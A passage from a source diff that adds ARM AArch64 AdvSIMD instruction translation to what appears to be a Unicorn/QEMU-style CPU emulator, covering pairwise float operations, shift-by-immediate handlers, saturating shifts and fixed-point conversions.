*/ + tcg_gen_add_i64(tcg_ctx, tcg_res, tcg_op1, tcg_op2); + break; + case 0xc: /* FMAXNMP */ + gen_helper_vfp_maxnumd(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0xd: /* FADDP */ + gen_helper_vfp_addd(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0xf: /* FMAXP */ + gen_helper_vfp_maxd(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x2c: /* FMINNMP */ + gen_helper_vfp_minnumd(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x2f: /* FMINP */ + gen_helper_vfp_mind(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + default: + g_assert_not_reached(); + } + + write_fp_dreg(s, rd, tcg_res); + + tcg_temp_free_i64(tcg_ctx, tcg_op1); + tcg_temp_free_i64(tcg_ctx, tcg_op2); + tcg_temp_free_i64(tcg_ctx, tcg_res); + } else { + TCGv_i32 tcg_op1 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 tcg_op2 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 tcg_res = tcg_temp_new_i32(tcg_ctx); + + read_vec_element_i32(s, tcg_op1, rn, 0, MO_32); + read_vec_element_i32(s, tcg_op2, rn, 1, MO_32); + + switch (opcode) { + case 0xc: /* FMAXNMP */ + gen_helper_vfp_maxnums(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0xd: /* FADDP */ + gen_helper_vfp_adds(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0xf: /* FMAXP */ + gen_helper_vfp_maxs(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x2c: /* FMINNMP */ + gen_helper_vfp_minnums(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x2f: /* FMINP */ + gen_helper_vfp_mins(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + default: + g_assert_not_reached(); + } + + write_fp_sreg(s, rd, tcg_res); + + tcg_temp_free_i32(tcg_ctx, tcg_op1); + tcg_temp_free_i32(tcg_ctx, tcg_op2); + tcg_temp_free_i32(tcg_ctx, tcg_res); + } + + if (!TCGV_IS_UNUSED_PTR(fpst)) { + tcg_temp_free_ptr(tcg_ctx, fpst); + } +} + +/* + * Common SSHR[RA]/USHR[RA] - Shift right (optional rounding/accumulate) + * + * This code is handles the common shifting code and is used by both + * the vector and scalar code. + */ +static void handle_shri_with_rndacc(DisasContext *s, TCGv_i64 tcg_res, TCGv_i64 tcg_src, + TCGv_i64 tcg_rnd, bool accumulate, + bool is_u, int size, int shift) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + bool extended_result = false; + bool round = !TCGV_IS_UNUSED_I64(tcg_rnd); + int ext_lshift = 0; + TCGv_i64 tcg_src_hi; + + if (round && size == 3) { + extended_result = true; + ext_lshift = 64 - shift; + tcg_src_hi = tcg_temp_new_i64(tcg_ctx); + } else if (shift == 64) { + if (!accumulate && is_u) { + /* result is zero */ + tcg_gen_movi_i64(tcg_ctx, tcg_res, 0); + return; + } + } + + /* Deal with the rounding step */ + if (round) { + if (extended_result) { + TCGv_i64 tcg_zero = tcg_const_i64(tcg_ctx, 0); + if (!is_u) { + /* take care of sign extending tcg_res */ + tcg_gen_sari_i64(tcg_ctx, tcg_src_hi, tcg_src, 63); + tcg_gen_add2_i64(tcg_ctx, tcg_src, tcg_src_hi, + tcg_src, tcg_src_hi, + tcg_rnd, tcg_zero); + } else { + tcg_gen_add2_i64(tcg_ctx, tcg_src, tcg_src_hi, + tcg_src, tcg_zero, + tcg_rnd, tcg_zero); + } + tcg_temp_free_i64(tcg_ctx, tcg_zero); + } else { + tcg_gen_add_i64(tcg_ctx, tcg_src, tcg_src, tcg_rnd); + } + } + + /* Now do the shift right */ + if (round && extended_result) { + /* extended case, >64 bit precision required */ + if (ext_lshift == 0) { + /* special case, only high bits matter */ + tcg_gen_mov_i64(tcg_ctx, tcg_src, tcg_src_hi); + } else { + tcg_gen_shri_i64(tcg_ctx, tcg_src, tcg_src, shift); + tcg_gen_shli_i64(tcg_ctx, tcg_src_hi, tcg_src_hi, ext_lshift); + tcg_gen_or_i64(tcg_ctx, tcg_src, tcg_src, tcg_src_hi); + } + } else { + if (is_u) { + if (shift == 64) { + /* essentially shifting in 64 zeros */ + tcg_gen_movi_i64(tcg_ctx, tcg_src, 0); + } else { + tcg_gen_shri_i64(tcg_ctx, tcg_src, tcg_src, shift); + } + } else { + if (shift == 64) { + /* effectively extending the sign-bit */ + tcg_gen_sari_i64(tcg_ctx, tcg_src, tcg_src, 63); + } else { + tcg_gen_sari_i64(tcg_ctx, tcg_src, tcg_src, shift); + } + } + } + + if (accumulate) { + tcg_gen_add_i64(tcg_ctx, tcg_res, tcg_res, tcg_src); + } else { + tcg_gen_mov_i64(tcg_ctx, tcg_res, tcg_src); + } + + if (extended_result) { + tcg_temp_free_i64(tcg_ctx, tcg_src_hi); + } +} + +/* Common SHL/SLI - Shift left with an optional insert */ +static void handle_shli_with_ins(TCGContext *tcg_ctx, TCGv_i64 tcg_res, TCGv_i64 tcg_src, + bool insert, int shift) +{ + if (insert) { /* SLI */ + tcg_gen_deposit_i64(tcg_ctx, tcg_res, tcg_res, tcg_src, shift, 64 - shift); + } else { /* SHL */ + tcg_gen_shli_i64(tcg_ctx, tcg_res, tcg_src, shift); + } +} + +/* SRI: shift right with insert */ +static void handle_shri_with_ins(TCGContext *tcg_ctx, TCGv_i64 tcg_res, TCGv_i64 tcg_src, + int size, int shift) +{ + int esize = 8 << size; + + /* shift count same as element size is valid but does nothing; + * special case to avoid potential shift by 64. + */ + if (shift != esize) { + tcg_gen_shri_i64(tcg_ctx, tcg_src, tcg_src, shift); + tcg_gen_deposit_i64(tcg_ctx, tcg_res, tcg_res, tcg_src, 0, esize - shift); + } +} + +/* SSHR[RA]/USHR[RA] - Scalar shift right (optional rounding/accumulate) */ +static void handle_scalar_simd_shri(DisasContext *s, + bool is_u, int immh, int immb, + int opcode, int rn, int rd) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + const int size = 3; + int immhb = immh << 3 | immb; + int shift = 2 * (8 << size) - immhb; + bool accumulate = false; + bool round = false; + bool insert = false; + TCGv_i64 tcg_rn; + TCGv_i64 tcg_rd; + TCGv_i64 tcg_round; + + if (!extract32(immh, 3, 1)) { + unallocated_encoding(s); + return; + } + + if (!fp_access_check(s)) { + return; + } + + switch (opcode) { + case 0x02: /* SSRA / USRA (accumulate) */ + accumulate = true; + break; + case 0x04: /* SRSHR / URSHR (rounding) */ + round = true; + break; + case 0x06: /* SRSRA / URSRA (accum + rounding) */ + accumulate = round = true; + break; + case 0x08: /* SRI */ + insert = true; + break; + } + + if (round) { + uint64_t round_const = 1ULL << (shift - 1); + tcg_round = tcg_const_i64(tcg_ctx, round_const); + } else { + TCGV_UNUSED_I64(tcg_round); + } + + tcg_rn = read_fp_dreg(s, rn); + tcg_rd = (accumulate || insert) ? read_fp_dreg(s, rd) : tcg_temp_new_i64(tcg_ctx); + + if (insert) { + handle_shri_with_ins(tcg_ctx, tcg_rd, tcg_rn, size, shift); + } else { + handle_shri_with_rndacc(s, tcg_rd, tcg_rn, tcg_round, + accumulate, is_u, size, shift); + } + + write_fp_dreg(s, rd, tcg_rd); + + tcg_temp_free_i64(tcg_ctx, tcg_rn); + tcg_temp_free_i64(tcg_ctx, tcg_rd); + if (round) { + tcg_temp_free_i64(tcg_ctx, tcg_round); + } +} + +/* SHL/SLI - Scalar shift left */ +static void handle_scalar_simd_shli(DisasContext *s, bool insert, + int immh, int immb, int opcode, + int rn, int rd) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int size = 32 - clz32(immh) - 1; + int immhb = immh << 3 | immb; + int shift = immhb - (8 << size); + TCGv_i64 tcg_rn = new_tmp_a64(s); + TCGv_i64 tcg_rd = new_tmp_a64(s); + + if (!extract32(immh, 3, 1)) { + unallocated_encoding(s); + return; + } + + if (!fp_access_check(s)) { + return; + } + + tcg_rn = read_fp_dreg(s, rn); + tcg_rd = insert ? read_fp_dreg(s, rd) : tcg_temp_new_i64(tcg_ctx); + + handle_shli_with_ins(tcg_ctx, tcg_rd, tcg_rn, insert, shift); + + write_fp_dreg(s, rd, tcg_rd); + + tcg_temp_free_i64(tcg_ctx, tcg_rn); + tcg_temp_free_i64(tcg_ctx, tcg_rd); +} + +/* SQSHRN/SQSHRUN - Saturating (signed/unsigned) shift right with + * (signed/unsigned) narrowing */ +static void handle_vec_simd_sqshrn(DisasContext *s, bool is_scalar, bool is_q, + bool is_u_shift, bool is_u_narrow, + int immh, int immb, int opcode, + int rn, int rd) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int immhb = immh << 3 | immb; + int size = 32 - clz32(immh) - 1; + int esize = 8 << size; + int shift = (2 * esize) - immhb; + int elements = is_scalar ? 1 : (64 / esize); + bool round = extract32(opcode, 0, 1); + TCGMemOp ldop = (size + 1) | (is_u_shift ? 0 : MO_SIGN); + TCGv_i64 tcg_rn, tcg_rd, tcg_round; + TCGv_i32 tcg_rd_narrowed; + TCGv_i64 tcg_final; + + static NeonGenNarrowEnvFn * const signed_narrow_fns[4][2] = { + { gen_helper_neon_narrow_sat_s8, + gen_helper_neon_unarrow_sat8 }, + { gen_helper_neon_narrow_sat_s16, + gen_helper_neon_unarrow_sat16 }, + { gen_helper_neon_narrow_sat_s32, + gen_helper_neon_unarrow_sat32 }, + { NULL, NULL }, + }; + static NeonGenNarrowEnvFn * const unsigned_narrow_fns[4] = { + gen_helper_neon_narrow_sat_u8, + gen_helper_neon_narrow_sat_u16, + gen_helper_neon_narrow_sat_u32, + NULL + }; + NeonGenNarrowEnvFn *narrowfn; + + int i; + + assert(size < 4); + + if (extract32(immh, 3, 1)) { + unallocated_encoding(s); + return; + } + + if (!fp_access_check(s)) { + return; + } + + if (is_u_shift) { + narrowfn = unsigned_narrow_fns[size]; + } else { + narrowfn = signed_narrow_fns[size][is_u_narrow ? 1 : 0]; + } + + tcg_rn = tcg_temp_new_i64(tcg_ctx); + tcg_rd = tcg_temp_new_i64(tcg_ctx); + tcg_rd_narrowed = tcg_temp_new_i32(tcg_ctx); + tcg_final = tcg_const_i64(tcg_ctx, 0); + + if (round) { + uint64_t round_const = 1ULL << (shift - 1); + tcg_round = tcg_const_i64(tcg_ctx, round_const); + } else { + TCGV_UNUSED_I64(tcg_round); + } + + for (i = 0; i < elements; i++) { + read_vec_element(s, tcg_rn, rn, i, ldop); + handle_shri_with_rndacc(s, tcg_rd, tcg_rn, tcg_round, + false, is_u_shift, size+1, shift); + narrowfn(tcg_ctx, tcg_rd_narrowed, tcg_ctx->cpu_env, tcg_rd); + tcg_gen_extu_i32_i64(tcg_ctx, tcg_rd, tcg_rd_narrowed); + tcg_gen_deposit_i64(tcg_ctx, tcg_final, tcg_final, tcg_rd, esize * i, esize); + } + + if (!is_q) { + clear_vec_high(s, rd); + write_vec_element(s, tcg_final, rd, 0, MO_64); + } else { + write_vec_element(s, tcg_final, rd, 1, MO_64); + } + + if (round) { + tcg_temp_free_i64(tcg_ctx, tcg_round); + } + tcg_temp_free_i64(tcg_ctx, tcg_rn); + tcg_temp_free_i64(tcg_ctx, tcg_rd); + tcg_temp_free_i32(tcg_ctx, tcg_rd_narrowed); + tcg_temp_free_i64(tcg_ctx, tcg_final); + return; +} + +/* SQSHLU, UQSHL, SQSHL: saturating left shifts */ +static void handle_simd_qshl(DisasContext *s, bool scalar, bool is_q, + bool src_unsigned, bool dst_unsigned, + int immh, int immb, int rn, int rd) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int immhb = immh << 3 | immb; + int size = 32 - clz32(immh) - 1; + int shift = immhb - (8 << size); + int pass; + + assert(immh != 0); + assert(!(scalar && is_q)); + + if (!scalar) { + if (!is_q && extract32(immh, 3, 1)) { + unallocated_encoding(s); + return; + } + + /* Since we use the variable-shift helpers we must + * replicate the shift count into each element of + * the tcg_shift value. + */ + switch (size) { + case 0: + shift |= shift << 8; + /* fall through */ + case 1: + shift |= shift << 16; + break; + case 2: + case 3: + break; + default: + g_assert_not_reached(); + } + } + + if (!fp_access_check(s)) { + return; + } + + if (size == 3) { + TCGv_i64 tcg_shift = tcg_const_i64(tcg_ctx, shift); + static NeonGenTwo64OpEnvFn * const fns[2][2] = { + { gen_helper_neon_qshl_s64, gen_helper_neon_qshlu_s64 }, + { NULL, gen_helper_neon_qshl_u64 }, + }; + NeonGenTwo64OpEnvFn *genfn = fns[src_unsigned][dst_unsigned]; + int maxpass = is_q ? 2 : 1; + + for (pass = 0; pass < maxpass; pass++) { + TCGv_i64 tcg_op = tcg_temp_new_i64(tcg_ctx); + + read_vec_element(s, tcg_op, rn, pass, MO_64); + genfn(tcg_ctx, tcg_op, tcg_ctx->cpu_env, tcg_op, tcg_shift); + write_vec_element(s, tcg_op, rd, pass, MO_64); + + tcg_temp_free_i64(tcg_ctx, tcg_op); + } + tcg_temp_free_i64(tcg_ctx, tcg_shift); + + if (!is_q) { + clear_vec_high(s, rd); + } + } else { + TCGv_i32 tcg_shift = tcg_const_i32(tcg_ctx, shift); + static NeonGenTwoOpEnvFn * const fns[2][2][3] = { + { + { gen_helper_neon_qshl_s8, + gen_helper_neon_qshl_s16, + gen_helper_neon_qshl_s32 }, + { gen_helper_neon_qshlu_s8, + gen_helper_neon_qshlu_s16, + gen_helper_neon_qshlu_s32 } + }, { + { NULL, NULL, NULL }, + { gen_helper_neon_qshl_u8, + gen_helper_neon_qshl_u16, + gen_helper_neon_qshl_u32 } + } + }; + NeonGenTwoOpEnvFn *genfn = fns[src_unsigned][dst_unsigned][size]; + TCGMemOp memop = scalar ? size : MO_32; + int maxpass = scalar ? 1 : is_q ? 4 : 2; + + for (pass = 0; pass < maxpass; pass++) { + TCGv_i32 tcg_op = tcg_temp_new_i32(tcg_ctx); + + read_vec_element_i32(s, tcg_op, rn, pass, memop); + genfn(tcg_ctx, tcg_op, tcg_ctx->cpu_env, tcg_op, tcg_shift); + if (scalar) { + switch (size) { + case 0: + tcg_gen_ext8u_i32(tcg_ctx, tcg_op, tcg_op); + break; + case 1: + tcg_gen_ext16u_i32(tcg_ctx, tcg_op, tcg_op); + break; + case 2: + break; + default: + g_assert_not_reached(); + } + write_fp_sreg(s, rd, tcg_op); + } else { + write_vec_element_i32(s, tcg_op, rd, pass, MO_32); + } + + tcg_temp_free_i32(tcg_ctx, tcg_op); + } + tcg_temp_free_i32(tcg_ctx, tcg_shift); + + if (!is_q && !scalar) { + clear_vec_high(s, rd); + } + } +} + +/* Common vector code for handling integer to FP conversion */ +static void handle_simd_intfp_conv(DisasContext *s, int rd, int rn, + int elements, int is_signed, + int fracbits, int size) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + bool is_double = size == 3 ? true : false; + TCGv_ptr tcg_fpst = get_fpstatus_ptr(tcg_ctx); + TCGv_i32 tcg_shift = tcg_const_i32(tcg_ctx, fracbits); + TCGv_i64 tcg_int = tcg_temp_new_i64(tcg_ctx); + TCGMemOp mop = size | (is_signed ? MO_SIGN : 0); + int pass; + + for (pass = 0; pass < elements; pass++) { + read_vec_element(s, tcg_int, rn, pass, mop); + + if (is_double) { + TCGv_i64 tcg_double = tcg_temp_new_i64(tcg_ctx); + if (is_signed) { + gen_helper_vfp_sqtod(tcg_ctx, tcg_double, tcg_int, + tcg_shift, tcg_fpst); + } else { + gen_helper_vfp_uqtod(tcg_ctx, tcg_double, tcg_int, + tcg_shift, tcg_fpst); + } + if (elements == 1) { + write_fp_dreg(s, rd, tcg_double); + } else { + write_vec_element(s, tcg_double, rd, pass, MO_64); + } + tcg_temp_free_i64(tcg_ctx, tcg_double); + } else { + TCGv_i32 tcg_single = tcg_temp_new_i32(tcg_ctx); + if (is_signed) { + gen_helper_vfp_sqtos(tcg_ctx, tcg_single, tcg_int, + tcg_shift, tcg_fpst); + } else { + gen_helper_vfp_uqtos(tcg_ctx, tcg_single, tcg_int, + tcg_shift, tcg_fpst); + } + if (elements == 1) { + write_fp_sreg(s, rd, tcg_single); + } else { + write_vec_element_i32(s, tcg_single, rd, pass, MO_32); + } + tcg_temp_free_i32(tcg_ctx, tcg_single); + } + } + + if (!is_double && elements == 2) { + clear_vec_high(s, rd); + } + + tcg_temp_free_i64(tcg_ctx, tcg_int); + tcg_temp_free_ptr(tcg_ctx, tcg_fpst); + tcg_temp_free_i32(tcg_ctx, tcg_shift); +} + +/* UCVTF/SCVTF - Integer to FP conversion */ +static void handle_simd_shift_intfp_conv(DisasContext *s, bool is_scalar, + bool is_q, bool is_u, + int immh, int immb, int opcode, + int rn, int rd) +{ + bool is_double = extract32(immh, 3, 1); + int size = is_double ? MO_64 : MO_32; + int elements; + int immhb = immh << 3 | immb; + int fracbits = (is_double ? 128 : 64) - immhb; + + if (!extract32(immh, 2, 2)) { + unallocated_encoding(s); + return; + } + + if (is_scalar) { + elements = 1; + } else { + elements = is_double ? 2 : is_q ? 4 : 2; + if (is_double && !is_q) { + unallocated_encoding(s); + return; + } + } + + if (!fp_access_check(s)) { + return; + } + + /* immh == 0 would be a failure of the decode logic */ + g_assert(immh); + + handle_simd_intfp_conv(s, rd, rn, elements, !is_u, fracbits, size); +} + +/* FCVTZS, FVCVTZU - FP to fixedpoint conversion */ +static void handle_simd_shift_fpint_conv(DisasContext *s, bool is_scalar, + bool is_q, bool is_u, + int immh, int immb, int rn, int rd) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + bool is_double = extract32(immh, 3, 1); + int immhb = immh << 3 | immb; + int fracbits = (is_double ? 128 : 64) - immhb; + int pass; + TCGv_ptr tcg_fpstatus; + TCGv_i32 tcg_rmode, tcg_shift; + + if (!extract32(immh, 2, 2)) { + unallocated_encoding(s); + return; + } + + if (!is_scalar && !is_q && is_double) { + unallocated_encoding(s); + return; + } + + if (!fp_access_check(s)) { + return; + } + + assert(!(is_scalar && is_q)); + + tcg_rmode = tcg_const_i32(tcg_ctx, arm_rmode_to_sf(FPROUNDING_ZERO)); + gen_helper_set_rmode(tcg_ctx, tcg_rmode, tcg_rmode, tcg_ctx->cpu_env); + tcg_fpstatus = get_fpstatus_ptr(tcg_ctx); + tcg_shift = tcg_const_i32(tcg_ctx, fracbits); + + if (is_double) { + int maxpass = is_scalar ? 1 : 2; + + for (pass = 0; pass < maxpass; pass++) { + TCGv_i64 tcg_op = tcg_temp_new_i64(tcg_ctx); + + read_vec_element(s, tcg_op, rn, pass, MO_64); + if (is_u) { + gen_helper_vfp_touqd(tcg_ctx, tcg_op, tcg_op, tcg_shift, tcg_fpstatus); + } else { + gen_helper_vfp_tosqd(tcg_ctx, tcg_op, tcg_op, tcg_shift, tcg_fpstatus); + } + write_vec_element(s, tcg_op, rd, pass, MO_64); + tcg_temp_free_i64(tcg_ctx, tcg_op); + } + if (!is_q) { + clear_vec_high(s, rd); + } + } else { + int maxpass = is_scalar ? 1 : is_q ? 4 : 2; + for (pass = 0; pass < maxpass; pass++) { + TCGv_i32 tcg_op = tcg_temp_new_i32(tcg_ctx); + + read_vec_element_i32(s, tcg_op, rn, pass, MO_32); + if (is_u) { + gen_helper_vfp_touls(tcg_ctx, tcg_op, tcg_op, tcg_shift, tcg_fpstatus); + } else { + gen_helper_vfp_tosls(tcg_ctx, tcg_op, tcg_op, tcg_shift, tcg_fpstatus); + } + if (is_scalar) { + write_fp_sreg(s, rd, tcg_op); + } else { + write_vec_element_i32(s, tcg_op, rd, pass, MO_32); + } + tcg_temp_free_i32(tcg_ctx, tcg_op); + } + if (!is_q && !is_scalar) { + clear_vec_high(s, rd); + } + } + + tcg_temp_free_ptr(tcg_ctx, tcg_fpstatus); + tcg_temp_free_i32(tcg_ctx, tcg_shift); + gen_helper_set_rmode(tcg_ctx, tcg_rmode, tcg_rmode, tcg_ctx->cpu_env); + tcg_temp_free_i32(tcg_ctx, tcg_rmode); +} + +/* C3.6.9 AdvSIMD scalar shift by immediate + * 31 30 29 28 23 22 19 18 16 15 11 10 9 5 4 0 + * +-----+---+-------------+------+------+--------+---+------+------+ + * | 0 1 | U | 1 1 1 1 1 0 | immh | immb | opcode | 1 | Rn | Rd | + * +-----+---+-------------+------+------+--------+---+------+------+ + * + * This is the scalar version so it works on a fixed sized registers + */ +static void disas_simd_scalar_shift_imm(DisasContext *s, uint32_t insn) +{ + int rd = extract32(insn, 0, 5); + int rn = extract32(insn, 5, 5); + int opcode = extract32(insn, 11, 5); + int immb = extract32(insn, 16, 3); + int immh = extract32(insn, 19, 4); + bool is_u = extract32(insn, 29, 1); + + if (immh == 0) { + unallocated_encoding(s); + return; + } + + switch (opcode) { + case 0x08: /* SRI */ + if (!is_u) { + unallocated_encoding(s); + return; + } + /* fall through */ + case 0x00: /* SSHR / USHR */ + case 0x02: /* SSRA / USRA */ + case 0x04: /* SRSHR / URSHR */ + case 0x06: /* SRSRA / URSRA */ + handle_scalar_simd_shri(s, is_u, immh, immb, opcode, rn, rd); + break; + case 0x0a: /* SHL / SLI */ + handle_scalar_simd_shli(s, is_u, immh, immb, opcode, rn, rd); + break; + case 0x1c: /* SCVTF, UCVTF */ + handle_simd_shift_intfp_conv(s, true, false, is_u, immh, immb, + opcode, rn, rd); + break; + case 0x10: /* SQSHRUN, SQSHRUN2 */ + case 0x11: /* SQRSHRUN, SQRSHRUN2 */ + if (!is_u) { + unallocated_encoding(s); + return; + } + handle_vec_simd_sqshrn(s, true, false, false, true, + immh, immb, opcode, rn, rd); + break; + case 0x12: /* SQSHRN, SQSHRN2, UQSHRN */ + case 0x13: /* SQRSHRN, SQRSHRN2, UQRSHRN, UQRSHRN2 */ + handle_vec_simd_sqshrn(s, true, false, is_u, is_u, + immh, immb, opcode, rn, rd); + break; + case 0xc: /* SQSHLU */ + if (!is_u) { + unallocated_encoding(s); + return; + } + handle_simd_qshl(s, true, false, false, true, immh, immb, rn, rd); + break; + case 0xe: /* SQSHL, UQSHL */ + handle_simd_qshl(s, true, false, is_u, is_u, immh, immb, rn, rd); + break; + case 0x1f: /* FCVTZS, FCVTZU */ + handle_simd_shift_fpint_conv(s, true, false, is_u, immh, immb, rn, rd); + break; + default: + unallocated_encoding(s); + break; + } +} + +/* C3.6.10 AdvSIMD scalar three different + * 31 30 29 28 24 23 22 21 20 16 15 12 11 10 9 5 4 0 + * +-----+---+-----------+------+---+------+--------+-----+------+------+ + * | 0 1 | U | 1 1 1 1 0 | size | 1 | Rm | opcode | 0 0 | Rn | Rd | + * +-----+---+-----------+------+---+------+--------+-----+------+------+ + */ +static void disas_simd_scalar_three_reg_diff(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + bool is_u = extract32(insn, 29, 1); + int size = extract32(insn, 22, 2); + int opcode = extract32(insn, 12, 4); + int rm = extract32(insn, 16, 5); + int rn = extract32(insn, 5, 5); + int rd = extract32(insn, 0, 5); + + if (is_u) { + unallocated_encoding(s); + return; + } + + switch (opcode) { + case 0x9: /* SQDMLAL, SQDMLAL2 */ + case 0xb: /* SQDMLSL, SQDMLSL2 */ + case 0xd: /* SQDMULL, SQDMULL2 */ + if (size == 0 || size == 3) { + unallocated_encoding(s); + return; + } + break; + default: + unallocated_encoding(s); + return; + } + + if (!fp_access_check(s)) { + return; + } + + if (size == 2) { + TCGv_i64 tcg_op1 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 tcg_op2 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 tcg_res = tcg_temp_new_i64(tcg_ctx); + + read_vec_element(s, tcg_op1, rn, 0, MO_32 | MO_SIGN); + read_vec_element(s, tcg_op2, rm, 0, MO_32 | MO_SIGN); + + tcg_gen_mul_i64(tcg_ctx, tcg_res, tcg_op1, tcg_op2); + gen_helper_neon_addl_saturate_s64(tcg_ctx, tcg_res, tcg_ctx->cpu_env, tcg_res, tcg_res); + + switch (opcode) { + case 0xd: /* SQDMULL, SQDMULL2 */ + break; + case 0xb: /* SQDMLSL, SQDMLSL2 */ + tcg_gen_neg_i64(tcg_ctx, tcg_res, tcg_res); + /* fall through */ + case 0x9: /* SQDMLAL, SQDMLAL2 */ + read_vec_element(s, tcg_op1, rd, 0, MO_64); + gen_helper_neon_addl_saturate_s64(tcg_ctx, tcg_res, tcg_ctx->cpu_env, + tcg_res, tcg_op1); + break; + default: + g_assert_not_reached(); + } + + write_fp_dreg(s, rd, tcg_res); + + tcg_temp_free_i64(tcg_ctx, tcg_op1); + tcg_temp_free_i64(tcg_ctx, tcg_op2); + tcg_temp_free_i64(tcg_ctx, tcg_res); + } else { + TCGv_i32 tcg_op1 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 tcg_op2 = tcg_temp_new_i32(tcg_ctx); + TCGv_i64 tcg_res = tcg_temp_new_i64(tcg_ctx); + + read_vec_element_i32(s, tcg_op1, rn, 0, MO_16); + read_vec_element_i32(s, tcg_op2, rm, 0, MO_16); + + gen_helper_neon_mull_s16(tcg_ctx, tcg_res, tcg_op1, tcg_op2); + gen_helper_neon_addl_saturate_s32(tcg_ctx, tcg_res, tcg_ctx->cpu_env, tcg_res, tcg_res); + + switch (opcode) { + case 0xd: /* SQDMULL, SQDMULL2 */ + break; + case 0xb: /* SQDMLSL, SQDMLSL2 */ + gen_helper_neon_negl_u32(tcg_ctx, tcg_res, tcg_res); + /* fall through */ + case 0x9: /* SQDMLAL, SQDMLAL2 */ + { + TCGv_i64 tcg_op3 = tcg_temp_new_i64(tcg_ctx); + read_vec_element(s, tcg_op3, rd, 0, MO_32); + gen_helper_neon_addl_saturate_s32(tcg_ctx, tcg_res, tcg_ctx->cpu_env, + tcg_res, tcg_op3); + tcg_temp_free_i64(tcg_ctx, tcg_op3); + break; + } + default: + g_assert_not_reached(); + } + + tcg_gen_ext32u_i64(tcg_ctx, tcg_res, tcg_res); + write_fp_dreg(s, rd, tcg_res); + + tcg_temp_free_i32(tcg_ctx, tcg_op1); + tcg_temp_free_i32(tcg_ctx, tcg_op2); + tcg_temp_free_i64(tcg_ctx, tcg_res); + } +} + +static void handle_3same_64(DisasContext *s, int opcode, bool u, + TCGv_i64 tcg_rd, TCGv_i64 tcg_rn, TCGv_i64 tcg_rm) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + /* Handle 64x64->64 opcodes which are shared between the scalar + * and vector 3-same groups. We cover every opcode where size == 3 + * is valid in either the three-reg-same (integer, not pairwise) + * or scalar-three-reg-same groups. (Some opcodes are not yet + * implemented.) + */ + TCGCond cond; + + switch (opcode) { + case 0x1: /* SQADD */ + if (u) { + gen_helper_neon_qadd_u64(tcg_ctx, tcg_rd, tcg_ctx->cpu_env, tcg_rn, tcg_rm); + } else { + gen_helper_neon_qadd_s64(tcg_ctx, tcg_rd, tcg_ctx->cpu_env, tcg_rn, tcg_rm); + } + break; + case 0x5: /* SQSUB */ + if (u) { + gen_helper_neon_qsub_u64(tcg_ctx, tcg_rd, tcg_ctx->cpu_env, tcg_rn, tcg_rm); + } else { + gen_helper_neon_qsub_s64(tcg_ctx, tcg_rd, tcg_ctx->cpu_env, tcg_rn, tcg_rm); + } + break; + case 0x6: /* CMGT, CMHI */ + /* 64 bit integer comparison, result = test ? (2^64 - 1) : 0. + * We implement this using setcond (test) and then negating. + */ + cond = u ? TCG_COND_GTU : TCG_COND_GT; + do_cmop: + tcg_gen_setcond_i64(tcg_ctx, cond, tcg_rd, tcg_rn, tcg_rm); + tcg_gen_neg_i64(tcg_ctx, tcg_rd, tcg_rd); + break; + case 0x7: /* CMGE, CMHS */ + cond = u ? TCG_COND_GEU : TCG_COND_GE; + goto do_cmop; + case 0x11: /* CMTST, CMEQ */ + if (u) { + cond = TCG_COND_EQ; + goto do_cmop; + } + /* CMTST : test is "if (X & Y != 0)". */ + tcg_gen_and_i64(tcg_ctx, tcg_rd, tcg_rn, tcg_rm); + tcg_gen_setcondi_i64(tcg_ctx, TCG_COND_NE, tcg_rd, tcg_rd, 0); + tcg_gen_neg_i64(tcg_ctx, tcg_rd, tcg_rd); + break; + case 0x8: /* SSHL, USHL */ + if (u) { + gen_helper_neon_shl_u64(tcg_ctx, tcg_rd, tcg_rn, tcg_rm); + } else { + gen_helper_neon_shl_s64(tcg_ctx, tcg_rd, tcg_rn, tcg_rm); + } + break; + case 0x9: /* SQSHL, UQSHL */ + if (u) { + gen_helper_neon_qshl_u64(tcg_ctx, tcg_rd, tcg_ctx->cpu_env, tcg_rn, tcg_rm); + } else { + gen_helper_neon_qshl_s64(tcg_ctx, tcg_rd, tcg_ctx->cpu_env, tcg_rn, tcg_rm); + } + break; + case 0xa: /* SRSHL, URSHL */ + if (u) { + gen_helper_neon_rshl_u64(tcg_ctx, tcg_rd, tcg_rn, tcg_rm); + } else { + gen_helper_neon_rshl_s64(tcg_ctx, tcg_rd, tcg_rn, tcg_rm); + } + break; + case 0xb: /* SQRSHL, UQRSHL */ + if (u) { + gen_helper_neon_qrshl_u64(tcg_ctx, tcg_rd, tcg_ctx->cpu_env, tcg_rn, tcg_rm); + } else { + gen_helper_neon_qrshl_s64(tcg_ctx, tcg_rd, tcg_ctx->cpu_env, tcg_rn, tcg_rm); + } + break; + case 0x10: /* ADD, SUB */ + if (u) { + tcg_gen_sub_i64(tcg_ctx, tcg_rd, tcg_rn, tcg_rm); + } else { + tcg_gen_add_i64(tcg_ctx, tcg_rd, tcg_rn, tcg_rm); + } + break; + default: + g_assert_not_reached(); + } +} + +/* Handle the 3-same-operands float operations; shared by the scalar + * and vector encodings. The caller must filter out any encodings + * not allocated for the encoding it is dealing with. + */ +static void handle_3same_float(DisasContext *s, int size, 